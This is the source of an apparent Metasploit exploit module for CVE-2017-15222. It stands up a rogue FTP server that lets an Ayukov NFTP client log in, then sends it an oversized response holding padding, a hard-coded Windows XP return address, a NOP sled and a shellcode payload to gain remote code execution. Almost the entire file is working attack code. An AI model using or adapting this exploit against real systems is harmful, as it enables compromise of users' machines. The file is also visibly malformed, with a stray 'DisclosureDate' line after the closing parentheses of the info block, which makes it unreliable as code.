metasploit-framework/modules/exploits/windows/ftp/ayukov_nftp.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ayukov NFTP FTP Client Remote Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the Ayukov NFTPD FTP client 2.0 and earlier allowing remote code execution.
      },
      'Author'   =>
        [
          'Berk Cem Goksel',  # Original exploit author
          'Daniel Teixeira'   # MSF module author
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-15222'],
          [ 'EDB', '43025' ],
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x01\x0a\x10",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
    [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
    'SRVHOST' => '0.0.0.0',
        },
      'DefaultTarget'  => 0))
    'DisclosureDate' => 'Oct 21 2017'))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
      ])
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)


    # Let the client log in
    client.get_once

    user = "331 OK.\r\n"
    client.put(user)

    client.get_once
    pass = "230 OK.\r\n"
    client.put(pass)

    sploit = "A"*4116
    sploit << [target.ret].pack('V')
    sploit << "\x90"*16
    sploit << payload.encoded
    sploit << make_nops(15000 - 4116 - 4 - 16 - payload.encoded.length)
    sploit << "\r\n"

    client.put(sploit)

    client.get_once
    pwd = "257\r\n"
    client.put(pwd)
    client.get_once

  end
end